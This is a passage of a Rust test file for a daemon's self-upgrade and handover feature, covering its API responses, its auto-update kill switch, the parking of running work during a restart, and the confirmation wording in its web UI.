21632 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21633 unsafe {
21645 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21646 }
21647 let fx = Fixture::start().await;
21648 let res = fx.post("/api/upgrade", None).await;
21649 unsafe {
21650 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21651 }
21652 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21653 let body = res.json();
21654 assert!(body["to"].is_null(), "there was no release to move to");
21655 assert!(body["parked"].is_null(), "and nothing was parked");
21656 assert!(
21657 body["detail"]
21658 .as_str()
21659 .unwrap()
21660 .contains("disabled by MAGI_NO_AUTOUPDATE"),
21661 "{body:?}"
21662 );
21663 }
21664
21665 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
21666 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
21667 p.stage = stage;
21668 p
21669 }
21670
21671 #[test]
21672 fn busy_stages_match_the_ui_set() {
21673 use crate::updater::Stage;
21674 assert!(APP_JS.contains(
21675 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
21676 ));
21677 for s in [
21678 Stage::Downloading,
21679 Stage::Replaced,
21680 Stage::Parking,
21681 Stage::Restarting,
21682 ] {
21683 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
21684 }
21685 for s in [Stage::Done, Stage::Failed] {
21686 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
21687 }
21688 assert!(upgrade_in_motion(None).is_none());
21689 }
21690
21691 #[tokio::test]
21692 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
21693 use crate::updater::Stage;
21694 for stage in [
21695 Stage::Downloading,
21696 Stage::Replaced,
21697 Stage::Parking,
21698 Stage::Restarting,
21699 ] {
21700 let fx = Fixture::start().await;
21701 let seeded = seeded_progress(stage);
21702 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
21703 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21704 .expect("read");
21705
21706 let res = fx.post("/api/upgrade", None).await;
21707 assert_eq!(res.status, 409, "{stage:?}");
21708 let err = res.json()["error"].as_str().unwrap().to_owned();
21709 assert!(err.contains("already in progress"), "{err}");
21710 assert!(err.contains(stage.as_str()), "{err}");
21711
21712 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21713 .expect("read");
21714 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
21715 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
21716 .unwrap_or_default();
21717 assert!(!log.contains("signalling HANDOVER"), "{log}");
21718 }
21719 }
21720
21721 #[test]
21722 fn upgrade_retry_timing_only_parses_known_diagnostics() {
21723 assert_eq!(
21724 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
21725 Some(3723)
21726 );
21727 assert_eq!(
21728 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
21729 Some(60)
21730 );
21731 assert_eq!(
21732 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
21733 Some(0)
21734 );
21735 for message in [
21736 "permission denied",
21737 "GitHub API rate limit exceeded",
21738 "GitHub rate limit (resets in unknown)",
21739 "GitHub rate limit (resets in 18446744073709551615d)",
21740 ] {
21741 assert_eq!(upgrade_retry_after(message), None, "{message}");
21742 }
21743 }
21744
21745 #[tokio::test]
21746 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
21747 let home = TempDir::new().unwrap();
21748 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
21749 ui.start_loop(None).unwrap();
21750 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
21751 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
21752 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
21753 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
21754 let response = finish_upgrade_request(&ui, result);
21755 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
21756 assert_eq!(response.headers()["retry-after"], "120");
21757 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
21758 .await
21759 .unwrap();
21760 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
21761 assert!(body["error"].as_str().unwrap().contains(reason));
21762 assert_eq!(body["retry_after_secs"], 120);
21763 assert!(body["retry_at"].as_u64().is_some());
21764 for _ in 0..2 {
21765 let view = health(State(ui.clone())).await.unwrap().0;
21766 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
21767 assert_eq!(failure, body);
21768 }
21769 assert_eq!(
21770 std::fs::read(updater::progress_path(home.path())).unwrap(),
21771 before
21772 );
21773 assert!(!ui.lock_loop().resume_after_handover);
21774 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
21775 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
21776 let gate = ui.upgrade_gate.lock().await;
21778 assert_eq!(
21779 upgrade_post(State(ui.clone())).await.status(),
21780 StatusCode::CONFLICT
21781 );
21782 drop(gate);
21783 assert!(
21784 health(State(ui.clone()))
21785 .await
21786 .unwrap()
21787 .0
21788 .upgrade_request_error
21789 .is_some()
21790 );
21791 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
21792 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
21793 assert!(
21794 health(State(ui.clone()))
21795 .await
21796 .unwrap()
21797 .0
21798 .upgrade_request_error
21799 .is_none()
21800 );
21801 let live = ui.lock_loop().live.take().unwrap();
21802 live.stop.stop();
21803 live.handle.await.unwrap();
21804 }
21805
21806 #[tokio::test]
21807 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
21808 use crate::updater::Stage;
21809 let repo = TempDir::new().expect("repo dir");
21810 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21811 .expect("write magi.toml");
21812 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21813 for stage in [Stage::Done, Stage::Failed] {
21814 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
21815 let res = fx.post("/api/upgrade", None).await;
21816 assert_eq!(res.status, 200, "{stage:?}");
21817 }
21818 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
21820 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
21821 }
21822
21823 #[tokio::test]
21824 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
21825 let repo = TempDir::new().expect("repo dir");
21841 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21842 .expect("write magi.toml");
21843 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21844
21845 let res = fx.post("/api/upgrade", None).await;
21851 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21852 let body = res.json();
21853 assert!(body["to"].is_null(), "there was no release to move to");
21854 assert!(body["parked"].is_null(), "and nothing was parked");
21855 assert!(
21856 body["detail"]
21857 .as_str()
21858 .unwrap()
21859 .contains("nothing restarted"),
21860 "{body:?}"
21861 );
21862 }
21863
21864 #[tokio::test]
21865 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
21866 let repo = TempDir::new().expect("repo dir");
21871 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21872 .expect("write magi.toml");
21873 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21874
21875 let health = fx.get("/api/health").await.json();
21876 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
21877 assert_eq!(
21878 health["update"]["available"], false,
21879 "checking is off, which reads as \"unknown\", not \"none\""
21880 );
21881 assert!(health["update"]["to"].is_null());
21882 assert!(
21883 health["upgrade"].is_null(),
21884 "nothing has ever asked this deck to upgrade"
21885 );
21886 }
21887
21888 #[tokio::test]
21889 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
21890 let fx = Fixture::start().await;
21891 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
21892
21893 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21894 progress.parked_run = Some("20260905-000000-cd51".to_owned());
21895 progress.advance(crate::updater::Stage::Parking);
21896 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21897
21898 let health = fx.get("/api/health").await.json();
21899 assert_eq!(health["upgrade"]["stage"], "parking");
21900 assert_eq!(health["upgrade"]["from"], "0.5.1");
21901 assert_eq!(health["upgrade"]["to"], "0.5.2");
21902 let waiting_on = health["upgrade"]["waiting_on"]
21903 .as_str()
21904 .expect("waiting_on is set while parking a known run");
21905 assert!(waiting_on.contains("cd51"), "{waiting_on}");
21906 assert!(waiting_on.contains("implementing"), "{waiting_on}");
21907 }
21908
21909 #[tokio::test]
21910 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
21911 let fx = Fixture::start().await;
21912 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21913 progress.advance(crate::updater::Stage::Done);
21914 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21915
21916 let health = fx.get("/api/health").await.json();
21917 assert_eq!(health["upgrade"]["stage"], "done");
21918 assert!(
21919 health["upgrade"]["waiting_on"].is_null(),
21920 "nothing to wait on once it is done"
21921 );
21922 }
21923
21924 #[tokio::test]
21925 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
21926 let home = TempDir::new().expect("temp home");
21927 let runs = home.path().join("runs");
21928 std::fs::create_dir_all(&runs).expect("runs dir");
21929 let ui = Ui::new(
21930 Queue::at(home.path().join("queue")),
21931 Questions::at(home.path().join("questions")),
21932 Talks::at(home.path().join("talks")),
21933 runs,
21934 home.path().to_path_buf(),
21935 PathBuf::from("/repo/magi"),
21936 )
21937 .with_launch(launch_idle);
21938 let looping = ui.looping();
21939 let turns = ui.turns();
21940 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21941 .await
21942 .expect("bind loopback");
21943 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21944
21945 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21946 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21947
21948 hand_over(
21949 home.path(),
21950 &looping,
21951 &turns,
21952 &|_: &[String]| Duration::from_secs(5),
21953 served,
21954 |_| Ok(1),
21955 )
21956 .await
21957 .expect("hand over");
21958
21959 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
21960 assert_eq!(
21961 after.stage,
21962 crate::updater::Stage::Restarting,
21963 "hand_over owns the record through parking and up to restarting; \
21964 the successor is what finishes it"
21965 );
21966 }
21967
21968 #[tokio::test]
21971 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
21972 for fail in [false, true] {
21973 let home = TempDir::new().expect("temp home");
21974 let ui = idle_ui(&home);
21975 let looping = ui.looping();
21976 let turns = ui.turns();
21977 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21978 .await
21979 .expect("bind loopback");
21980 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21981 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21982 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21983
21984 let calls = std::sync::atomic::AtomicUsize::new(0);
21985 let outcome = hand_over(
21986 home.path(),
21987 &looping,
21988 &turns,
21989 &|_: &[String]| Duration::from_secs(5),
21990 served,
21991 |_| {
21992 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21993 if fail {
21994 anyhow::bail!("no exec")
21995 } else {
21996 Ok(4242)
21997 }
21998 },
21999 )
22000 .await;
22001 assert_eq!(outcome.is_err(), fail);
22002 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22003
22004 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
22005 .expect("upgrade.log is written under the home");
22006 for step in [
22007 "entered",
22008 "finish_loop",
22009 "listener released",
22010 "starting the successor",
22011 ] {
22012 assert!(log.contains(step), "missing `{step}` in:\n{log}");
22013 }
22014 assert!(
22015 log.contains(if fail { "did not start" } else { "pid 4242" }),
22016 "{log}"
22017 );
22018 }
22019 }
22020
22021 #[tokio::test]
22024 async fn the_handover_signal_wakes_one_waiter_once() {
22025 let signal = Notify::new();
22026 signal.notify_one();
22028 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22029 .await
22030 .expect("an early signal is still seen");
22031 assert!(
22033 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22034 .await
22035 .is_err(),
22036 "a consumed signal must not wake a second time"
22037 );
22038 let signal = std::sync::Arc::new(signal);
22040 let waiter = tokio::spawn({
22041 let signal = std::sync::Arc::clone(&signal);
22042 async move { wait_for_handover(&signal).await }
22043 });
22044 tokio::time::sleep(Duration::from_millis(20)).await;
22045 assert!(!waiter.is_finished(), "nothing was signalled yet");
22046 signal.notify_one();
22047 tokio::time::timeout(Duration::from_secs(5), waiter)
22048 .await
22049 .expect("a late signal wakes the waiter")
22050 .expect("join");
22051 }
22052
22053 #[tokio::test]
22054 async fn health_says_how_long_a_handover_has_been_stuck() {
22055 let fx = Fixture::start().await;
22056 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22057 progress.advance(crate::updater::Stage::Replaced);
22058 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22059 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22060
22061 let health = fx.get("/api/health").await.json();
22062 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22063 assert!(stuck >= 600, "{stuck}");
22064 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22065 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22066 }
22067
22068 #[tokio::test]
22069 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22070 let home = tempfile::tempdir().expect("temp home");
22071 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22072 progress.advance(crate::updater::Stage::Parking);
22073 crate::updater::write_progress(home.path(), &progress).expect("seed");
22074 let mut again = progress.clone();
22076 again.advance(crate::updater::Stage::Replaced);
22077 crate::updater::write_progress(home.path(), &again).expect("replaced");
22078 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22079 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22080 let after = crate::updater::read_progress(home.path()).expect("record");
22081 assert_eq!(after.stage, crate::updater::Stage::Parking);
22082 }
22083
22084 #[tokio::test]
22085 async fn health_does_not_call_a_live_parking_wait_stuck() {
22086 let fx = Fixture::start().await;
22087 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22088 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22089 progress.advance(crate::updater::Stage::Parking);
22090 let hours = Duration::from_secs(3 * 3600);
22091 progress.started_at = Timestamp::now() - hours;
22092 progress.updated_at = Timestamp::now() - hours;
22093 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22094 let _lease = crate::updater::LeaseGuard::enter(
22095 fx.home.path(),
22096 Some("20260905-000000-cd51".to_owned()),
22097 );
22098
22099 let health = fx.get("/api/health").await.json();
22100 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22101 assert!(health["upgrade"]["stuck_kind"].is_null());
22102 assert_eq!(health["upgrade"]["handover_alive"], true);
22103 let waiting_on = health["upgrade"]["waiting_on"]
22104 .as_str()
22105 .expect("waiting_on");
22106 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22107 }
22108
22109 fn idle_ui(home: &TempDir) -> Ui {
22110 let runs = home.path().join("runs");
22111 std::fs::create_dir_all(&runs).expect("runs dir");
22112 Ui::new(
22113 Queue::at(home.path().join("queue")),
22114 Questions::at(home.path().join("questions")),
22115 Talks::at(home.path().join("talks")),
22116 runs,
22117 home.path().to_path_buf(),
22118 PathBuf::from("/repo/magi"),
22119 )
22120 .with_launch(launch_idle)
22121 }
22122
22123 async fn park_fixture(
22124 home: &TempDir,
22125 ) -> (
22126 Ui,
22127 Arc<Mutex<LoopState>>,
22128 Arc<Mutex<TalkTurns>>,
22129 tokio::task::JoinHandle<std::io::Result<()>>,
22130 ) {
22131 let ui = idle_ui(home);
22132 let looping = ui.looping();
22133 let turns = ui.turns();
22134 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22135 .await
22136 .expect("bind loopback");
22137 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22138 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22139 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22140 (ui, looping, turns, served)
22141 }
22142
22143 #[tokio::test]
22147 async fn hand_over_waits_for_a_running_chat_turn() {
22148 let home = TempDir::new().expect("temp home");
22149 let (ui, looping, turns, served) = park_fixture(&home).await;
22150 let ui = Arc::new(ui);
22151 let id = "20260901-000000-chat";
22152 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22153
22154 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22155 let handover = tokio::spawn({
22156 let home = home.path().to_path_buf();
22157 let turns = Arc::clone(&turns);
22158 let calls = Arc::clone(&calls);
22159 async move {
22160 hand_over(
22161 &home,
22162 &looping,
22163 &turns,
22164 &|_: &[String]| Duration::from_secs(60),
22165 served,
22166 move |_| {
22167 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22168 Ok(1)
22169 },
22170 )
22171 .await
22172 }
22173 });
22174
22175 let waiting = async {
22176 for _ in 0..200 {
22177 if crate::updater::read_progress(home.path())
22178 .is_some_and(|p| p.parked_talks == [id.to_owned()])
22179 {
22180 return;
22181 }
22182 tokio::time::sleep(Duration::from_millis(25)).await;
22183 }
22184 panic!("the park never named the chat turn");
22185 };
22186 waiting.await;
22187 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22188
22189 let refused = ui.begin_talk_turn("20260901-000000-late").err();
22192 assert!(
22193 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22194 "a direct start says an upgrade is in progress"
22195 );
22196 assert!(
22197 ui.begin_queued_talk_turn("20260901-000000-late")
22198 .expect("queued claim")
22199 .is_none()
22200 );
22201 assert!(matches!(
22202 ui.begin_talk_turn_unless_pending("20260901-000000-late")
22203 .expect("start"),
22204 TalkTurnStart::Busy
22205 ));
22206 assert_eq!(turns.lock().unwrap().live.len(), 1);
22207
22208 let progress = crate::updater::read_progress(home.path()).expect("progress");
22210 let view = upgrade_progress_view(&ui, progress);
22211 assert!(
22212 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
22213 "{:?}",
22214 view.waiting_on
22215 );
22216
22217 assert!(!handover.is_finished());
22218 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22219 drop(turn);
22220 handover.await.expect("join").expect("hand over");
22221 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22222 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22223 }
22224
22225 #[tokio::test]
22228 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
22229 let home = TempDir::new().expect("temp home");
22230 let (ui, looping, turns, served) = park_fixture(&home).await;
22231 let ui = Arc::new(ui);
22232 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
22234 lock_or_recover(&looping).live = Some(Live {
22235 stop: daemon::Stop::new(),
22236 handle: tokio::spawn(async move {
22237 let _ = loop_ended.await;
22238 }),
22239 opts: daemon::Opts::default(),
22240 });
22241
22242 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22243 let handover = tokio::spawn({
22244 let home = home.path().to_path_buf();
22245 let turns = Arc::clone(&turns);
22246 let calls = Arc::clone(&calls);
22247 async move {
22248 hand_over(
22249 &home,
22250 &looping,
22251 &turns,
22252 &|_: &[String]| Duration::from_secs(60),
22253 served,
22254 move |_| {
22255 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22256 Ok(1)
22257 },
22258 )
22259 .await
22260 }
22261 });
22262
22263 let reached = async {
22264 for _ in 0..200 {
22265 if crate::updater::read_progress(home.path())
22266 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
22267 {
22268 return;
22269 }
22270 tokio::time::sleep(Duration::from_millis(25)).await;
22271 }
22272 panic!("the hand-over never reached parking");
22273 };
22274 reached.await;
22275
22276 assert!(!turns.lock().unwrap().parking);
22278 let turn = ui
22279 .begin_talk_turn("20260901-000000-chat")
22280 .expect("claim")
22281 .expect("a turn can start while the loop parks");
22282
22283 end_loop.send(()).expect("loop still waiting");
22285 for _ in 0..200 {
22286 if turns.lock().unwrap().parking {
22287 break;
22288 }
22289 tokio::time::sleep(Duration::from_millis(25)).await;
22290 }
22291 assert!(
22292 turns.lock().unwrap().parking,
22293 "closed once the loop is done"
22294 );
22295 let refused = ui.begin_talk_turn("20260901-000000-late").err();
22296 assert!(
22297 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22298 "no turn starts once the loop is done"
22299 );
22300 assert!(
22301 ui.begin_queued_talk_turn("20260901-000000-late")
22302 .expect("queued claim")
22303 .is_none()
22304 );
22305 assert!(!handover.is_finished());
22306 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22307
22308 drop(turn);
22309 handover.await.expect("join").expect("hand over");
22310 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22311 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22312 }
22313
22314 #[tokio::test]
22317 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
22318 let home = TempDir::new().expect("temp home");
22319 let (ui, looping, turns, served) = park_fixture(&home).await;
22320 let id = "20260901-000000-stuk";
22321 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22322
22323 let calls = std::sync::atomic::AtomicUsize::new(0);
22324 hand_over(
22325 home.path(),
22326 &looping,
22327 &turns,
22328 &|_: &[String]| Duration::from_millis(300),
22329 served,
22330 |_| {
22331 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22332 Ok(1)
22333 },
22334 )
22335 .await
22336 .expect("hand over");
22337 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22338
22339 let progress = crate::updater::read_progress(home.path()).expect("progress");
22340 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
22341 assert!(
22342 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
22343 "{:?}",
22344 progress.detail
22345 );
22346 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
22347 assert!(
22348 log.contains("handing over anyway") && log.contains(id),
22349 "{log}"
22350 );
22351 }
22352
22353 #[tokio::test]
22356 async fn drain_loop_starts_no_turn_while_parking() {
22357 let tmp = TempDir::new().expect("tempdir");
22358 let repo = tmp.path().join("repo");
22359 std::fs::create_dir_all(&repo).expect("repo dir");
22360 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
22361 let home = TempDir::new().expect("temp home");
22362 let talks = Talks::at(home.path().join("talks"));
22363 let ui = Ui::new(
22364 Queue::at(home.path().join("queue")),
22365 Questions::at(home.path().join("questions")),
22366 talks.clone(),
22367 home.path().join("runs"),
22368 home.path().to_path_buf(),
22369 repo.clone(),
22370 )
22371 .with_worktrees_root(home.path().join("wt"));
22372 let cfg = config_for(&repo).await.expect("discover config");
22373 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
22374 let id = talk.id.clone();
22375 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
22376 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
22377 let turns = ui.turns();
22378 let parking = ParkingTurns::begin(&turns);
22379
22380 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
22381
22382 assert!(
22383 turns.lock().unwrap().live.is_empty(),
22384 "the slot is given up"
22385 );
22386 let fresh = talks.get(&id).expect("talk");
22387 assert_eq!(fresh.pending, "later", "the draft is still queued");
22388 assert!(fresh.turns.is_empty(), "no turn ran");
22389 drop(parking);
22390 }
22391
22392 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
22394 let looping = ui.looping();
22395 let turns = ui.turns();
22396 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22397 .await
22398 .expect("bind loopback");
22399 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22400 let told = std::sync::Mutex::new(None);
22401 hand_over(
22402 home.path(),
22403 &looping,
22404 &turns,
22405 &|_: &[String]| Duration::from_secs(5),
22406 served,
22407 |resume| {
22408 *told.lock().unwrap() = Some(resume);
22409 Ok(1)
22410 },
22411 )
22412 .await
22413 .expect("hand over");
22414 told.into_inner().unwrap().expect("successor was started")
22415 }
22416
22417 #[tokio::test]
22418 async fn a_running_loop_is_resumed_by_the_successor() {
22419 let home = TempDir::new().expect("temp home");
22420 let ui = idle_ui(&home);
22421 ui.start_loop(None).expect("start");
22422 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22423 for _ in 0..500 {
22425 if !ui.loop_view(None).running {
22426 break;
22427 }
22428 tokio::time::sleep(Duration::from_millis(2)).await;
22429 }
22430 assert!(handed_over(&home, ui).await, "a running loop must resume");
22431
22432 let successor = idle_ui(&home);
22433 assert!(!successor.loop_view(None).running);
22434 assert!(successor.resume_after_handover(true));
22435 assert!(successor.loop_view(None).running);
22436 successor.stop_loop(None, false).expect("stop");
22437 }
22438
22439 #[tokio::test]
22440 async fn a_second_upgrade_request_keeps_the_resume_intent() {
22441 let home = TempDir::new().expect("temp home");
22442 let ui = idle_ui(&home);
22443 ui.start_loop(None).expect("start");
22444 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22445 .expect("first park");
22446 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22447 .expect("second park");
22448 assert!(handed_over(&home, ui).await);
22449 }
22450
22451 #[tokio::test]
22452 async fn a_stop_during_the_handover_wait_is_honoured() {
22453 let home = TempDir::new().expect("temp home");
22454 let ui = idle_ui(&home);
22455 ui.start_loop(None).expect("start");
22456 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22457 ui.stop_loop(None, false).expect("stop");
22458 assert!(!handed_over(&home, ui).await);
22459 }
22460
22461 #[tokio::test]
22462 async fn an_idle_loop_stays_stopped_across_the_handover() {
22463 let home = TempDir::new().expect("temp home");
22464 let ui = idle_ui(&home);
22465 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22466 assert!(!handed_over(&home, ui).await);
22467
22468 let successor = idle_ui(&home);
22469 assert!(!successor.resume_after_handover(false));
22470 assert!(!successor.loop_view(None).running);
22471 }
22472
22473 #[tokio::test]
22474 async fn a_loop_the_operator_stopped_is_not_resumed() {
22475 let home = TempDir::new().expect("temp home");
22476 let ui = idle_ui(&home);
22477 ui.start_loop(None).expect("start");
22478 ui.stop_loop(None, false).expect("stop");
22479 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22480 assert!(!handed_over(&home, ui).await);
22481 }
22482
22483 #[test]
22484 fn only_an_explicit_one_requests_a_resume() {
22485 assert!(!resume_requested(None));
22486 assert!(!resume_requested(Some("0".into())));
22487 assert!(!resume_requested(Some("".into())));
22488 assert!(resume_requested(Some("1".into())));
22489 }
22490
22491 #[test]
22492 fn the_upgrade_button_arms_before_it_restarts_anything() {
22493 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
22496 assert!(APP_JS.contains("Replace the binary and restart?"));
22497 assert!(APP_JS.contains("function confirmed("));
22498 assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
22503 assert!(
22507 APP_JS.contains("Parking, then restarting"),
22508 "the button says what it is waiting for"
22509 );
22510 assert!(APP_JS.contains("if (!out.to)"));
22513 }
22514
22515 #[test]
22516 fn stopping_the_loop_arms_but_starting_does_not() {
22517 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
22520 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
22521 assert!(APP_JS.contains("confirmed(button, question)"));
22522 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
22525 assert!(APP_JS.contains("const label = btn.textContent;"));
22526 assert!(!APP_JS.contains("Neither direction is guarded"));
22527 }
22528
22529 #[test]
22530 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
22531 assert!(
22532 APP_JS.contains("state.health.version"),
22533 "the operator wants to know what is running even with nothing newer"
22534 );
22535 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
22536 }
22537
22538 #[test]
22539 fn the_upgrade_button_names_its_destination() {
22540 assert!(
22541 APP_JS.contains("`Update to ${update.to}`"),
22542 "pressing the button should not be a surprise about what it moves to"
22543 );
22544 }
22545
22546 #[test]
22547 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
22548 for stage in ["downloading", "replaced", "parking", "restarting"] {
22549 assert!(
22550 APP_JS.contains(&format!("\"{stage}\"")),
22551 "the phone must be able to tell {stage} apart from the others"
22552 );
22553 }
22554 assert!(APP_JS.contains(".waiting_on"));
22555 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
22560 assert!(APP_JS.contains("reconnects on its own"));
22561 }
22562
22563 #[test]
22564 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
22565 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
22566 ..APP_JS.find("function upgrade(").expect("upgrade")];
22567 assert!(!body.contains(
